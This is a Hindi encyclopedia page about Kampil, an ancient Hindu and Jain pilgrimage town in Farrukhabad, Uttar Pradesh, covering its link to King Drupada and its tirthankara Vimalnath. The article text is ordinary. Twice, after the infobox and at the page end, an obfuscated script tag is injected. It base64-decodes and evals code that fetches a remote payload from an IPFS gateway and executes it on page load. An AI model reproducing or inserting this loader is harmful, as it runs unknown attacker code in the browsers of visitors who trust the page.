एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "२"।

कम्पिल

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
कम्पिल
विमलनाथ की प्रतिमा, कम्पिल
विवरण 'कम्पिल' उत्तर प्रदेश के पवित्र तीर्थ स्थलों में से एक है। यह हिन्दू तथा जैन, दोनों ही धर्मों के अनुयायियों का पूजनीय स्थल है।
राज्य उत्तर प्रदेश
ज़िला फ़र्रुख़ाबाद
भौगोलिक स्थिति यह फ़र्रुख़ाबाद से 45 कि.मी., कायमगंज तहसील से 10 कि.मी. तथा आगरा से 150 कि.मी. की दूरी पर स्थित है।
प्रसिद्धि हिन्दू तथा जैन धार्मिक स्थल्।
कब जाएँ कभी भी
रेलवे स्टेशन फ़र्रुख़ाबाद, कायमगंज
बस अड्डा फ़र्रुख़ाबाद तथा कम्पिल
कहाँ ठहरें धर्मशाला तथा होटल आदि।
संबंधित लेख हिन्दू धर्म, जैन धर्म, तीर्थंकर, विमलनाथ, जैन दर्शन और उसका उद्देश्य


अन्य जानकारी कम्पिल में 1400 वर्ष से भी प्राचीन देवों द्वारा निर्मित एक दिगम्बर जैन मंदिर है, जिसमें गंगा नदी के गर्भ से प्राप्त चतुर्थ कालीन श्याम वर्णी भगवान विमलनाथ की प्रतिमा विराजमान है

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

कम्पिल (अंग्रेज़ी: Kampil) उत्तर प्रदेश राज्य में फ़र्रुख़ाबाद ज़िले का एक प्रसिद्ध नगर है। यह नगर फ़र्रुख़ाबाद से 45 कि.मी., कायमगंज तहसील से 10 कि.मी. तथा आगरा से 150 कि.मी. की दूरी पर स्थित है। इसकी गणना भारत के प्रचीनतम नगरों में है। इसका प्राचीन नाम 'काम्पिल्य' था। कम्पिल हिन्दू तथा जैन धर्म से सम्बंधित प्रसिद्ध तीर्थ स्थान है। इस स्थान का उल्लेख पौराणिक महाकाव्य महाभारत में भी हुआ है। महाभारत के अनुसार यह राजा द्रुपद की राजधानी थी। प्राचीन काल में आज के फ़र्रुख़ाबाद तथा कन्नौज जनपदों को कम्पिल राज्य के नाम से जाना जाता था, जिस पर राजा द्रुपद, हरिषेण, ब्रह्मदत्त तथा आरूणी का आधिपत्य रहा।

इतिहास

उत्तर प्रदेश के फ़र्रुख़ाबाद जनपद में स्थित कम्पिल नगरी गंगा नदी के किनारे बसी हुई है। कम्पिल या काम्पिल्यपुरी भारत के अति प्राचीन वंदनीय और दर्शनीय स्थानों में से एक है। जैन शास्त्रों में तो इसका इतिहास आता ही है, वेदों में भी काम्पिल्यपुरी के नाम से इसकी प्रसिद्धि है। कहीं-कहीं इसका नाम 'भोगवती' और 'माकन्दी' भी आया है। यह महाभारत कालीन नगर है। महाभारत की प्रमुख पात्र द्रौपदी इसी नगर की थी। कम्पिल का एक प्राचीन नाम 'द्रुपदगढ़' भी मिलता है। सम्भवत: यह नाम द्रौपदी के पिता राजा द्रुपद के नाम पर पड़ा था। प्राचीन काल में यह पांचाल प्रदेश की राजधानी थी और राजा द्रुपद यहाँ शासन करते थे।

काम्पिल्य के नाम का सर्वप्रथम उल्लेख यजुर्वेद की तैत्तरीय संहिता में 'कंपिला' रूप में मिलता है। बहुत संभव है कि पुराणों में वर्णित पंचाल नरेश भृम्यश्व के पुत्र कपिल या कांपिल्य के नाम पर ही इस नगरी का नामकरण हुआ हो। महाभारत काल से पहले पंचाल जनपद गंगा के दोनों ओर विस्तृत था। उत्तर पंचाल की राजधानी अहिच्छत्र और दक्षिण पंचाल की कांपिल्य थी। दक्षिण पंचाल के सर्वप्रथम राजा अजमीढ़ का पुराणों में उल्लेख है। इसी वंश में प्रसिद्ध राजा नीप और ब्रह्मदत्त हुए थे। महाभारत के समय द्रोणाचार्य ने पंचाल नरेश द्रुपद को पराजित कर उससे उत्तर पंचाल का प्रदेश छीन लिया था। इस प्रसंग के वर्णन में महाभारत में कांपिल्य को दक्षिण पंचाल की राजधानी बताया गया है। उस समय दक्षिण पंचाल का विस्तार गंगा के दक्षिण तट से चम्बल नदी तक था। ब्रह्मदत्त जातक में भी दक्षिण पंचाल का नाम कंपिलरट्ठ या कांपिल्य राष्ट्र है।[1]

जैन तीर्थ स्थल

जैन धर्म के चौबीस तीर्थंकरों में से 13वें तीर्थंकर भगवान विमलनाथ की जन्मभूमि के साथ-साथ यहाँ उनके चार कल्याणक हुए हैं। पिता महाराज कृतवर्मा के राजमहल एवं माता जयश्यामा के आंगन में वहाँ 15 माह तक कुबेर ने रत्नाव्रष्टि की तथा सौधर्म इन्द्र ने कम्पिल नगरी में माघ शुक्ल पक्ष चतुर्थी को आकर तीर्थंकर के जन्मकल्याणक का महामहोत्सव मनाया था। पुन: युवावस्था में विमलनाथ तीर्थंकर का विवाह हुआ और दीर्घ काल तक राज्य संचालन कर उन्होंने माघ शुक्ल चतुर्थी को ही अपराह्न काल में सहेतुक वन में जैनेश्वरी दीक्षा लेकर मोक्ष मार्ग का प्रवर्तन किया। उसके बाद उसी कम्पिल के उद्यान में ही माघ शुक्ल षष्ठी को कैवल्य ज्ञान उत्पन्न होने पर समवसरण की रचना हुई थी। तब उन्होंने दिव्यध्वनि के द्वारा संसार को सम्बोधन प्रदान किया था।

नूतन रूप में यहाँ एक श्वेताम्बर मंदिर और उनकी धर्मशाला भी है। हिन्दुओं तथा जैनियों के ऐतिहासिक धार्मिक स्थानों से प्रभावित होकर भारत सरकार ने कम्पिल को पर्यटन केन्द्र घोषित कर दिया है तथा उसके विकास हेतु सरकारी स्तर पर कई योजनाएँ चल रही हैं। यहाँ भगवान विमलनाथ की विशाल खड्गासन प्रतिमा विराजमान है। वर्तमान समय में कम्पिल तीर्थ क्षेत्र पर जैन आबादी न होने से यह क्षेत्र जैनत्व स्तर पर विकास की ओर उन्मुख नहीं हो सका है, किन्तु वहाँ की कार्यकारिणी ने कुछ नूतन योजनाएँ प्रारंभ की हैं ताकि तीर्थ क्षेत्र का विकास और विस्तार होकर अनूठा एवं अनुपम ध्यान, आराधना का स्थल बन सके।

ठहरने हेतु व्यवस्था

कम्पिल में 1400 वर्ष से भी प्राचीन देवों द्वारा निर्मित एक दिगम्बर जैन मंदिर है, जिसमें गंगा नदी के गर्भ से प्राप्त चतुर्थ कालीन श्याम वर्णी भगवान विमलनाथ की प्रतिमा विराजमान है, जो दिगम्बर जैन शिल्पकला की प्राचीनता का दिग्दर्शन करा रही है। यहाँ यात्रियों के ठहरने हेतु तीन दिगम्बर जैन अतिथि गृह उपलब्ध हैं। इसके अतिरिक्त पर्यटन विभाग की ओर से भी पर्यटकों के लिए एक आधुनिक धर्मशाला बनाई गई है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. प्राचीन द्रुपदगढ़ में आराध्य (हिन्दी) mishraaradhya.blogspot.in। अभिगमन तिथि: 24 मार्च, 2016।

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>